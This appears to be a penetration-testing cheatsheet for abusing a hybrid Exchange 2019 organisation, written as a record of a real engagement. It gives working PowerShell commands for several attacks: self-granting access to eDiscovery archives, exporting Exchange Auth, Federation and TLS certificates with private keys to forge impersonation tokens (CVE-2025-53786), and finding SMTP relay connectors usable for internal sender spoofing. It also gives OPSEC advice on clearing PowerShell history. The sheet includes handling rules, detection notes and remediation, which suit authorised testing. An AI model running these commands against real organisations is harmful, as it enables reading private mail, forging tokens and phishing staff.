Skip to content

On-Prem Exchange (Hybrid) Abuse — eDiscovery, Auth-Cert Exfil (CVE-2025-53786), SMTP Relay — Cheatsheet

Purpose: From a low-tier Exchange RBAC role or SYSTEM on a mailbox server, (1) self-grant mailbox access to read eDiscovery/legal-hold archives, (2) export the Exchange Auth / Federation / TLS certificates to forge S2S impersonation tokens and probe the hybrid → Exchange Online pivot (CVE-2025-53786), and (3) abuse permissive SMTP relay connectors for internal sender spoofing. Capture the honest negative results too — the cloud pivot failed here (a positive control worth reporting).

Prereqs / context: Exchange 2019 hybrid org (handful of on-prem mailboxes, the bulk in Exchange Online). Two access routes used this engagement: a broad Recipient Management role held by a recovered service account (<SVC>), and SYSTEM on a mailbox server via SCCM (Exchange servers were SCCM-managed → a tiering violation). Operator box <ATTACKER_HOST> runs bloodyAD/impacket; EMS reached via remote PowerShell.

1. Discover the Exchange estate (no Exchange tools needed)

bloodyAD --host <DC_IP> -d <DOMAIN> -u '<SVC>' -p '<USER_PW>' get search --base "CN=Configuration,DC=<dc>,DC=<dc>" --filter "(objectClass=msExchExchangeServer)" --attr name,networkAddress,serialNumber,msExchCurrentServerRoles   # list every Exchange server from the AD config partition (mailbox/CAS/Edge, version, build)

2. Open a remote Exchange Management Shell as the held identity

$cred=New-Object System.Management.Automation.PSCredential("<NETBIOS>\<SVC>",(ConvertTo-SecureString '<USER_PW>' -AsPlainText -Force)) ; $s=New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://<TARGET_FQDN>/PowerShell/ -Credential $cred -Authentication Kerberos ; Import-PSSession $s -DisableNameChecking   # remote EMS over Kerberos; no Exchange install needed on your jump host
Get-ManagementRoleAssignment -RoleAssignee <SVC> | Select Role,RoleAssigneeName,RoleAssigneeType                       # what your identity can actually do (look for "Mail Recipients" => Add-MailboxPermission)

The Mail Recipients management role grants Add-MailboxPermission — i.e. self-grant FullAccess to any mailbox in the org. Broad Recipient Management membership is the whole exposure.

3. Hybrid census + find the eDiscovery archives

(Get-Mailbox -ResultSize Unlimited).Count ; (Get-RemoteMailbox -ResultSize Unlimited).Count                            # on-prem vs Exchange Online split (confirms hybrid; on-prem is the mgmt plane)
Get-Mailbox -RecipientTypeDetails DiscoveryMailbox -ResultSize Unlimited | Get-MailboxStatistics | Select DisplayName,ItemCount,TotalItemSize | Sort TotalItemSize -Descending   # In-Place eDiscovery RESULT mailboxes = mail copied OUT of arbitrary users' mailboxes by past compliance searches

In-Place eDiscovery result mailboxes can hold legal-hold, internal-audit, and named-individual investigation data — often years stale (a data-retention finding in its own right).

4. Prove access to a sensitive archive — metadata only, then revert

Add-MailboxPermission -Identity "<DISCOVERY_MAILBOX>" -User "<SVC>" -AccessRights FullAccess -InheritanceType All       # self-grant FullAccess (this is the privilege escalation)
Get-MailboxFolderStatistics -Identity "<DISCOVERY_MAILBOX>" | Select Name,ItemsInFolder,FolderSize                      # PROOF = folder structure/metadata only (folder names can themselves reveal investigation subjects)
Remove-MailboxPermission -Identity "<DISCOVERY_MAILBOX>" -User "<SVC>" -AccessRights FullAccess -Confirm:$false         # REVERT immediately

Handling rule: demonstrate the capability on folder metadata; do not open privileged message content, and do not reproduce investigation-subject names in the report. Revert the permission in the same session.

5. SYSTEM on a mailbox server → certificate exfiltration

Get-ChildItem Cert:\LocalMachine\My | Select Subject,Issuer,NotAfter,HasPrivateKey,Thumbprint                          # inventory machine certs with private keys
Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn ; Get-AuthConfig | Select CurrentCertificateThumbprint,ServiceName,Realm   # the Exchange Auth (S2S OAuth signing) cert thumbprint + the partner-app it represents
$c=Get-Item "Cert:\LocalMachine\My\<THUMBPRINT>" ; [IO.File]::WriteAllBytes("C:\Windows\Temp\o.pfx",$c.Export('Pfx','<PFX_PW>'))   # export cert+key IF the key is exportable (Auth/Federation often are; HSM-backed are not)

High-value certs (export each, then delete the PFX immediately): - Exchange Auth Certificate — signs S2S/impersonation OAuth tokens → forge tokens to read any mailbox org-wide. - Federation Certificate — signs Microsoft Federation Gateway delegation tokens (free/busy, delegation forgery). - Public TLS certs (e.g. mail.<domain>, email.<domain>, issued by a public CA) — private keys enable MITM / high-fidelity OWA phishing of the external mail surface → require CRL revocation, not just rotation.

6. Hybrid → Exchange Online pivot (CVE-2025-53786) — and the honest result

Get-AuthConfig | fl CurrentCertificateThumbprint,ServiceName                                                          # ServiceName 00000002-0000-0ff1-ce00-000000000000 = the EXO application id (the SHARED service principal in hybrid)

The theory: in a hybrid/Entra-joined org the on-prem Auth cert is the shared SP secret with EXO, so a forged client_credentials JWT (signed by that cert, resource https://outlook.office365.com, v1 token endpoint) would be trusted by EXO → read any of the cloud mailboxes.

What actually happened (report this verbatim — it's a positive control): - Token mint returned AADSTS700027: certificate ... is not registered on application → the exported on-prem Auth cert is not on the EXO service principal in Entra. Either Microsoft's dedicated Exchange hybrid application mitigation (post-CVE-2025-53786) is applied, or the cert was never registered / is stale-unsynced. - A separately-recovered hardcoded Graph app client secret returned AADSTS7000215: Invalid client secret → rotated since it was written. Route closed.

Be precise: the org exhibits the precondition (hybrid; AuthConfig points at the shared EXO SP; auth cert exportable) and the on-prem impersonation + cert-exfil impact stands, but EXO access via this cert is NOT demonstrated. Don't claim a cloud breach you didn't get.

7. SMTP relay → internal sender spoofing

Get-ReceiveConnector | fl Identity,PermissionGroups,AuthMechanism,RemoteIPRange                                       # find connectors that trust by SOURCE IP
Get-ReceiveConnector | Where-Object { $_.PermissionGroups -match 'ExternalAuthoritative' -or $_.PermissionGroups -match 'AnonymousUsers' } | fl Identity,RemoteIPRange   # ExternalAuthoritative/Anonymous = any host in RemoteIPRange can relay + spoof internal senders

ExternalAuthoritative/Anonymous relay connectors trust the session by IP, so any host in RemoteIPRange can relay mail and spoof an internal sender (e.g. as an exec to staff) — a high-fidelity internal-phishing primitive. Watch for leftover Test-* connectors in production. Send a test only to a controlled mailbox.

8. LSA secrets check (often a positive control here)

Get-ChildItem "HKLM:\SECURITY\Policy\Secrets" | Select Name                                                           # gMSA/SYSTEM Exchange services => only $MACHINE.ACC / SCM:{GUID} gMSA entries, NO domain svc-acct passwords

Exchange services running as gMSA leave no recoverable service-account secret in LSA — report that as a hardening win where you see it.

Detection / OPSEC

  • Add-MailboxPermission / Add-ADPermission targeting DiscoveryMailbox recipients is a high-signal alert (and easy to revert-trail). Do the grant→list→revoke as one tight sequence.
  • EMS remote-PowerShell logon and Get-AuthConfig/cert export on a mailbox server are auditable; minimize dwell.
  • Never execute EXO token forgery or live spoofed mail to real recipients without explicit cloud-scope / phishing sign-off. Prove on a non-production mailbox.

Cleanup

  • Revoke every Add-MailboxPermission you set (Remove-MailboxPermission ... -Confirm:$false).
  • Delete every exported PFX immediately after confirming exportability; remove staged shells/logs on the mailbox server.
  • Remove-PSSession $s; clear PowerShell history; remove any SCCM scripts used for deployment.

Remediation to cite

  • Set-AuthConfig new-cert rollover; reissue Federation + public TLS certs with non-exportable / HSM-backed keys; deploy Microsoft's dedicated Exchange hybrid application to decouple the shared SP.
  • Scope eDiscovery result storage behind a dedicated, audited Discovery Management group (not broad Recipient Management); purge stale result mailboxes.
  • Remove Exchange from broad SCCM management; restore MDE sensor on mailbox servers.
  • Remove/lock down ExternalAuthoritative/Anonymous relay connectors and leftover Test-* connectors.

References

  • CVE-2025-53786 — Exchange hybrid shared service-principal token abuse (Microsoft advisory + hybrid app guidance)
  • The Hacker Recipes — Exchange / mailbox delegation, Add-MailboxPermission abuse — thehacker.recipes
  • Microsoft — Configure Exchange hybrid dedicated application; Set-AuthConfig certificate rollover docs
  • dirkjanm — on-prem → cloud Exchange/OAuth token abuse research